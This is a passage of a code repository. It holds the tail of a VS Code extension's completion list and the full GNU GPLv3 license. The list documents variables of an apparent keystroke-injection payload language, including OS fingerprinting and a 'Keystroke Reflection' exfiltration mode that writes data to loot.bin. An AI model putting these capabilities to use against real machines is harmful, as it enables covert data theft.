\`FALSE\` if off. 400 | 401 | `), 402 | text: "$_NUMLOCK_ON" 403 | },{ 404 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_SCROLLLOCK_ON", 405 | detail: "", 406 | doc: new vscode.MarkdownString(` 407 | # SCROLLLOCK ON 408 | 409 | \`TRUE\` if on, \`FALSE\` if off. 410 | 411 | `), 412 | text: "$_SCROLLLOCK_ON" 413 | },{ 414 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_SAVED_CAPSLOCK_ON", 415 | detail: "", 416 | doc: new vscode.MarkdownString(` 417 | # SAVED CAPSLOCK ON 418 | 419 | On USB attach or SAVE_HOST_KEYBOARD_LOCK_STATE, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition. 420 | 421 | `), 422 | text: "$_SAVED_CAPSLOCK_ON" 423 | },{ 424 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_SAVED_NUMLOCK_ON", 425 | detail: "", 426 | doc: new vscode.MarkdownString(` 427 | # SAVED NUMLOCK ON 428 | 429 | On USB attach or SAVE_HOST_KEYBOARD_LOCK_STATE, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition. 430 | 431 | `), 432 | text: "$_SAVED_NUMLOCK_ON" 433 | },{ 434 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_SAVED_SCROLLLOCK_ON", 435 | detail: "", 436 | doc: new vscode.MarkdownString(` 437 | # SAVED SCROLLLOCK ON 438 | 439 | On USB attach or SAVE_HOST_KEYBOARD_LOCK_STATE, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition. 440 | 441 | `), 442 | text: "$_SAVED_SCROLLLOCK_ON" 443 | },{ 444 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_RECEIVED_HOST_LOCK_LED_REPLY", 445 | detail: "", 446 | doc: new vscode.MarkdownString(` 447 | # RECEIVED HOST LOCK LED REPLY 448 | 449 | On receipt of any lock state LED control code, sets \`TRUE\`. This flag is helpful for fingerprinting certain operating systems (e.g. macOS) or systems which do not reflect lock keys. 450 | 451 | `), 452 | text: "$_RECEIVED_HOST_LOCK_LED_REPLY" 453 | },{ 454 | label: "INTERNAL-VARIABLES.STORAGE.$_STORAGE_ACTIVITY_TIMEOUT", 455 | detail: "", 456 | doc: new vscode.MarkdownString(` 457 | # STORAGE ACTIVITY TIMEOUT 458 | 459 | As payload is running, this value decrements if storage activity is not detected. Default value is 1000. 460 | 461 | `), 462 | text: "$_STORAGE_ACTIVITY_TIMEOUT" 463 | },{ 464 | label: "INTERNAL-VARIABLES.EXFILTRATION.$_EXFIL_MODE_ENABLED", 465 | detail: "", 466 | doc: new vscode.MarkdownString(` 467 | # EXFIL MODE ENABLED 468 | 469 | Default \`FALSE\`. Set \`TRUE\` to enable Keystroke Reflection. Will listen for CAPSLOCK and NUMLOCK changes, writing binary values to loot.bin. num=1, caps=0. 470 | 471 | `), 472 | text: "$_EXFIL_MODE_ENABLED" 473 | },{ 474 | label: "INTERNAL-VARIABLES.OS-DETECT.$_HOST_CONFIGURATION_REQUEST_COUNT", 475 | detail: "", 476 | doc: new vscode.MarkdownString(` 477 | # HOST CONFIGURATION REQUEST COUNT 478 | 479 | Used by OS_DETECT EXTENSION to detect device enumeration count. 480 | 481 | `), 482 | text: "$_HOST_CONFIGURATION_REQUEST_COUNT" 483 | },{ 484 | label: "INTERNAL-VARIABLES.OS-DETECT.$_OS", 485 | detail: "", 486 | doc: new vscode.MarkdownString(` 487 | # OS 488 | 489 | Used by OS_DETECT EXTENSION to return value of fingerprinted operating system. May return WINDOWS, MACOS, LINUX, CHROMEOS, ANDROID, IOS. These names are reserved and should not be used in user variables. 490 | 491 | `), 492 | text: "$_OS" 493 | } 494 | ]; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------